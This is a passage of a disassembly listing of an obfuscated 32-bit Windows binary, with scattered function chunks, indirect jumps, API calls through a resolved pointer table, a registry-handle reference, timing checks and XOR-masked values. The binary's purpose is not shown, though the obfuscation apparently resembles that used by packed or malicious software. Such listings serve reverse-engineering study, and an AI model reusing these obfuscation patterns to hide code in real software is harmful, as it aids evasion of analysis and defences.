loc_9AEA28:				; CODE XREF: sub_9AD1A4+1Bj
					; sub_9B4480+285j
		mov	ecx, ebx
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_9AEA3A:				; CODE XREF: sub_9AD1A4+15j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B25E5
; END OF FUNCTION CHUNK	FOR sub_9AD1A4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AEA48:				; CODE XREF: sub_9AB1A0+1DDFj
					; sub_9AB1A0+35C1j ...
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_9AEA4D:				; CODE XREF: sub_9AB1A0+A9FBj
		test	esi, esi
		jz	loc_9B58CD
		jmp	off_9B938C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AEA5C:				; CODE XREF: sub_9B3EFC-8BECj
		cmp	eax, 200C0h
		jz	loc_9AD6E0
		jmp	off_9B87BF
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AEA70:				; CODE XREF: sub_9B1D80+163j
		xor	edx, edx


loc_9AEA72:				; CODE XREF: sub_9B1D80+1BB4j
		push	eax
		push	ecx
		push	ebx
		movzx	eax, word ptr [esi+2]
		push	eax
		push	dword ptr [esi+4]
		pop	ecx
		push	ecx
		push	edx
		mov	edx, [edi+4]
		push	edx
		mov	ebx, [ebp-2028h]
		xor	eax, eax
		and	ebx, ebx
		setnz	al
		push	eax
		call	sub_9B4FD0
		mov	[ebp-205Ch], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B3EC4
		jmp	off_9BA82C
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AEAAC	proc near		; CODE XREF: sub_9B6264-5ADp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009ADA70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AE890 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AED58 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B0498 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B42FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 009B5EF7 SIZE 0000002C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B96DC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAD92
		call	dword ptr [ecx+18h]
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		sub	eax, eax


loc_9AEAEE:				; CODE XREF: sub_9AEAAC-1031j
		mov	[ebp+var_1C], eax
		cmp	eax, 20h
		jge	loc_9AE890
		jmp	loc_9ADA70
sub_9AEAAC	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AEB00:				; CODE XREF: sub_9AFC28+11C5j
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		push	eax
		call	dword ptr [ecx+24h]
		jmp	loc_9ADF17
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
		xor	eax, eax
		mov	dword_9BEBF8, eax
		mov	dword_9BEBF4, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9AEB27:				; CODE XREF: sub_9B5FC0+49j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AEB4C:				; CODE XREF: sub_9ADCEC-27F8j
					; DATA XREF: .text:off_9B8A0Eo
		or	eax, 0FFFFFFFFh
		jmp	loc_9ACE37
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AEB54:				; CODE XREF: sub_9AB1A0+2FA8j
					; DATA XREF: .text:off_9BA410o
		push	dword_9BEC20[esi]
		pop	eax
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA688
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9AEB6C:				; CODE XREF: sub_9AF654+301Aj
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9B06EB
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AEB78:				; CODE XREF: sub_9B3150-78FDj
		push	dword ptr [ebx+48h]
		pop	edi
		cmp	edi, eax
		jz	loc_9AEFA3
		jmp	loc_9AC39C
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AEB8C:				; CODE XREF: sub_9B3864-7252j
					; sub_9B3864-559Bj ...
		mov	[ebp+var_2054],	0


loc_9AEB96:				; CODE XREF: sub_9B3864-40ECj
		push	0
		mov	edx, [ebp+var_205C]
		push	edx
		push	ecx
		push	eax
		mov	eax, [ebp+var_2058]
		push	eax
		push	ebx
		mov	ecx, [ebp+var_2054]
		push	ecx
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AEBB8	proc near		; CODE XREF: sub_9AD3EC+2Fp
					; sub_9AEE40+8p ...

; FUNCTION CHUNK AT 009ABDE3 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B1D30 SIZE 0000000B BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAA20
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 11Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	ebx, ebx
		mov	[ebp-4], ebx
		push	104h		; uSize
		lea	eax, [ebp-120h]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	[ebp-11Dh], bl
		cmp	byte ptr [ebp-11Fh], 3Ah
		jnz	loc_9B1D30
		jmp	off_9B9052
sub_9AEBB8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AEC20	proc near		; CODE XREF: sub_9B1584:loc_9AEE10p

; FUNCTION CHUNK AT 009AB70C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AC8A8 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 009ACD44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AE5B7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AF4FC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B2FEC SIZE 00000083 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B92F8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 218h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		sub	edi, edi
		mov	[ebp-4], edi
		lea	edx, [ebp-120h]
		push	edx
		push	3
		call	sub_9B6078
		lea	eax, [ebp-224h]
		push	eax
		push	8
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 14h
		push	eax
		lea	edx, [ebp-120h]
		push	80000001h
		pop	ecx
		call	sub_9B3408
		mov	esi, eax
		xor	edx, edx
		mov	[ebp-228h], esi
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		push	eax
		jmp	off_9BAA9D
sub_9AEC20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AECC4:				; CODE XREF: sub_9B4FD0-7CA0j
					; DATA XREF: .text:off_9B9970o
		lea	edx, [eax+eax*2]
		shl	edx, 4
		cmp	dword_9BBF74[edx], esi
		jnz	loc_9B4D8C
		jmp	loc_9B5708
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AECDF:				; CODE XREF: sub_9B562C-817Bj
					; sub_9B562C-6E9Fj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ax, word ptr [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AED08:				; CODE XREF: sub_9B63D8-A5C2j
					; sub_9B63D8-9E08j ...
		cmp	ebx, 200000h
		jle	loc_9AF37F
		jmp	loc_9AB5D0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AED1C:				; CODE XREF: sub_9B63D8-7C12j
		mov	ecx, [ebp-2144h]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp-2140h]
		mov	dword ptr [edx], 0
		jmp	loc_9AF90B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AED3C:				; CODE XREF: sub_9ADDA4+5327j
		mov	dword ptr [ebp-20h], 7


loc_9AED43:				; CODE XREF: sub_9ADDA4-13D6j
					; sub_9ADDA4+149Aj ...
		sub	esi, esi
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jge	loc_9AE030
		jmp	loc_9B1390
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9AED58:				; CODE XREF: sub_9AEAAC-210j
		mov	eax, [ebp+arg_4]
		imul	ecx, 4Ch
		add	eax, ecx
		mov	ecx, [eax]
		mov	[ebp+var_28], ecx
		mov	ebx, [eax+8]
		test	cl, 1
		mov	[ebp+var_2C], ebx
		mov	edi, [eax+38h]
		mov	[ebp+var_30], edi
		jz	loc_9B42FE
		jmp	off_9B8FE5
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------


loc_9AED80:				; CODE XREF: .text:009AE323j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AED84:				; CODE XREF: sub_9B4FD0-50E8j
		mov	edx, [ebp+10h]
		cmp	dword_9BBF80[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9BA10F
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AED9C:				; CODE XREF: sub_9B3A74-8BBAj
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		mov	eax, [esi]
		push	eax
		mov	ecx, [esi+44h]
		push	ecx
		push	3
		push	0
		push	dword ptr [ebp-12Ch]
		pop	eax
		push	eax
		push	dword ptr [ebp-124h]
		pop	ecx
		push	ecx
		call	dword ptr [edx+18h]
		or	eax, eax
		jnz	loc_9B624E
		jmp	loc_9B6244
; END OF FUNCTION CHUNK	FOR sub_9B3A74

; =============== S U B	R O U T	I N E =======================================



sub_9AEDD0	proc near		; CODE XREF: sub_9B43F4+3Dp

; FUNCTION CHUNK AT 009AB9E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD3A8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B1F1C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2998 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B3228 SIZE 00000013 BYTES

		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	off_9BAD92
		xor	esi, esi
		call	dword ptr [ecx+18h]
		xor	eax, eax


loc_9AEDE8:				; CODE XREF: sub_9AEDD0+4460j
		mov	ecx, dword_9BEC1C[eax]
		or	ecx, ecx
		jz	loc_9B3228
		jmp	loc_9AB9E8
sub_9AEDD0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AEDFC:				; CODE XREF: sub_9ABA3C+4CA5j
					; DATA XREF: .text:off_9B93AFo
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9AEE01:				; CODE XREF: sub_9ABA3C+33CAj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_9AEE01
		jmp	off_9BABA8
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AEE10:				; CODE XREF: sub_9B1584+8Bj
		call	sub_9AEC20
		call	sub_9B3B1C
		call	sub_9B03E8
		push	ebx
		push	ebx
		push	off_9B946E
		call	sub_9ABF08
		mov	dword_9BF11C, eax
		cmp	eax, ebx
		jz	loc_9AD087
		jmp	off_9B982B
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AEE40	proc near		; CODE XREF: sub_9A5033+85p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		pop	eax
		push	eax
		push	2
		call	sub_9AEBB8
		xor	eax, 0AB5D76CDh
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		retn
sub_9AEE40	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AEE5C	proc near		; CODE XREF: sub_9AF25C-368Ep
					; sub_9AF25C-3681p ...

; FUNCTION CHUNK AT 009ADFF4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B07B8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B5A6C SIZE 00000006 BYTES

		xor	eax, eax
		and	ecx, ecx
		jz	nullsub_7
		jmp	off_9B9579
sub_9AEE5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AEE6C:				; CODE XREF: sub_9B0930-2399j
					; DATA XREF: .text:off_9BA8EFo
		push	9Ch
		push	40h
		call	edi
		mov	ecx, dword_9BCB74
		mov	[ecx], eax
		push	8
		push	40h
		call	edi
		push	dword_9BCB74
		pop	edx
		mov	[edx+4], eax
		push	0Ch
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+8], eax
		push	28h
		push	40h
		call	edi
		mov	edx, dword_9BCB74
		mov	[edx+0Ch], eax
		push	64h
		push	40h
		call	edi
		push	dword_9BCB74
		pop	ecx
		mov	[ecx+10h], eax
		jmp	loc_9B55F4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9AEEC4:				; CODE XREF: sub_9B46CC+Fj
					; DATA XREF: .text:off_9BA703o
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEC18
		cmp	eax, 0EA60h
		jbe	loc_9B2C2A
		jmp	off_9B8DBA
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AEEE8:				; CODE XREF: sub_9B1A08-415Aj
		push	[ebp+var_41F4]
		pop	edx
		push	edx
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jz	loc_9AE1D8
		jmp	off_9B87A4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AEF08:				; CODE XREF: sub_9B4950-1EA5j
					; DATA XREF: .text:off_9B8F85o
		push	off_9B9F6A
		call	sub_9ABF08
		mov	dword_9BEC3C[edi], eax
		mov	ecx, [ebp-40h]
		push	ecx
		mov	edx, dword_9BEC2C[edi]
		push	edx
		push	off_9BB054
		call	sub_9ABF08
		xor	ebx, ebx
		mov	dword_9BEC40[edi], eax
		mov	esi, [ebp-1Ch]


loc_9AEF3A:				; CODE XREF: sub_9B4950-3CEj
		cmp	dword_9BEC24[edi], ebx
		jz	loc_9B5C2E
		jmp	off_9BA88D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9AEF4C:				; CODE XREF: sub_9B1B20-5932j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		push	edi
		push	esi
		push	3
		push	0
		lea	ecx, [ebp+var_120]
		push	ecx
		mov	edx, [ebp+var_32C]
		push	edx
		call	dword ptr [eax+18h]
		and	eax, eax
		jnz	loc_9B192A
		jmp	loc_9B1920
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AEF7C:				; CODE XREF: sub_9ACF9C+3Dj
		cmp	esi, 2000h
		ja	loc_9ADA23
		jmp	loc_9B5C80
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AEF90:				; CODE XREF: sub_9AC32C+1B02j
					; DATA XREF: .text:off_9B9F0Fo
		or	edi, 14h


loc_9AEF93:				; CODE XREF: sub_9AC32C+1AFCj
					; sub_9AC32C+7DFDj
		and	ebx, ebx
		jz	loc_9AD0FB
		jmp	loc_9AC35C
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AEFA3:				; CODE XREF: sub_9B3150-8342j
					; sub_9B3150-7903j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AEFC0:				; CODE XREF: sub_9B0930-56D2j
		push	off_9BA107
		mov	edx, [eax+10h]
		push	dword ptr [edx]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+4], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+4]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9A0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AF003:				; CODE XREF: sub_9AC6DC+5A4j
					; sub_9AC6DC+89BEj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9BAA6D
		call	dword ptr [edx+1Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AF030	proc near		; CODE XREF: sub_9B1D80-406p
					; sub_9B3864-4CBp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 009AC620 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009AE8BD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B0BE8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B136C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B1518 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B19C4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B281C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3600 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B37E8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B3F78 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B4160 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 009B4AE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B5140 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B5738 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA113
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		sub	edi, edi
		mov	ebx, ecx
		mov	[ebp+var_18], esp
		mov	[ebp+var_20], edi
		mov	[ebp+var_1C], edi
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], edi
		mov	esi, [ebp+arg_0]
		lea	esi, [esi+esi*2]
		shl	esi, 4
		push	dword_9BBF74[esi]
		pop	eax
		test	eax, eax
		jz	loc_9AC634
		jmp	off_9B91B2
sub_9AF030	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AF098:				; CODE XREF: sub_9B2E04+337Ej
					; DATA XREF: .text:off_9B99F6o
		cmp	edi, 0FFFFFFFFh
		jz	loc_9B572A
		jmp	sub_9B037C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF0A8:				; CODE XREF: sub_9B1A08+1262j
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B17C7
		jmp	loc_9B17B0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AF0B8:				; CODE XREF: sub_9B3408-65E4j
					; DATA XREF: .text:off_9B94F0o
		call	sub_9B2160
		mov	esi, eax
		mov	[ebp-12Ch], esi
		cmp	esi, ebx
		jz	loc_9AB749
		jmp	off_9BAFE3
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF0D4:				; CODE XREF: sub_9B03E8-3FA7j
		call	sub_9B45AC
		mov	dword_9BF388+2,	eax
		push	9
		push	9BF38Ah
		pop	edx
		mov	ecx, 4
		call	sub_9B1B20


loc_9AF0F0:				; CODE XREF: sub_9B03E8-3FADj
		mov	[ebp-4], esi
		jmp	loc_9AE4CE
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF0F8:				; CODE XREF: sub_9B3864+1A4Dj
		mov	ecx, [ebp+var_204C]
		test	byte ptr [ecx+8], 8
		jz	loc_9AFC90
		jmp	off_9B9568
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF110:				; CODE XREF: sub_9B1A08-22Bj
					; DATA XREF: .text:off_9B93A7o
		lea	esi, [edi+edi*4]
		lea	esi, [ebp+esi*8+var_41BC]
		push	dword ptr [esi]
		pop	eax
		and	eax, eax
		jz	loc_9AF99B
		jmp	off_9B9300
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AF134:				; CODE XREF: sub_9ACF9C+2D40j
					; sub_9ACF9C+5DD0j
		lea	ecx, [ebp-1Ch]
		call	sub_9B5480
		jmp	loc_9ADA23
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AF144:				; CODE XREF: sub_9B562C-5B29j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		lea	ecx, [ebp+var_12C]
		push	ecx
		lea	edx, [ebp+var_130]
		push	edx
		push	off_9B8E55
		push	esi
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jz	loc_9AE77C
		jmp	off_9B9EB0
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AF174:				; CODE XREF: sub_9AC250+1530j
		cmp	edx, ebx
		jz	loc_9B536C
		jmp	loc_9B5528
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AF184:				; CODE XREF: sub_9B4FD0+5Dj
		sub	ecx, ecx


loc_9AF186:				; CODE XREF: sub_9B4FD0-970Bj
		mov	[ebp-22Ch], ecx
		cmp	ecx, 40h
		jnb	loc_9ABB60
		jmp	off_9BA40C
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AF19C:				; CODE XREF: sub_9AFC28+CCEj
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		push	0
		push	ebx
		push	off_9B9F9D
		push	0
		push	0
		call	dword ptr [eax+14h]
		mov	[ebp+var_24], eax
		and	eax, eax
		jz	loc_9ADF17
		jmp	loc_9B0DE4
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AF1CC:				; CODE XREF: sub_9B1D80+BEj
					; DATA XREF: .text:off_9BA940o
		mov	edx, [ebp-202Ch]
		test	edx, edx
		js	loc_9B3ECB
		jmp	off_9B90D5
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF1E0:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B1Co
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-27Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9AF200:				; CODE XREF: sub_9ABF08+DC9j
					; sub_9ABF08+4CAAj
					; DATA XREF: ...
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	dword ptr [esi+8]
		pop	edx
		push	edx
		call	dword ptr [ecx+24h]


loc_9AF20F:				; CODE XREF: sub_9ABF08+6CEBj
					; sub_9ABF08+7689j
		mov	eax, esi
		call	sub_9AC448
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_9AF21B:				; CODE XREF: sub_9ABF08+41j
					; sub_9ABF08+DC3j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B131E
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AF228:				; CODE XREF: sub_9B4610-6114j
					; sub_9B4610-1030j ...
		push	edi
		pop	ecx
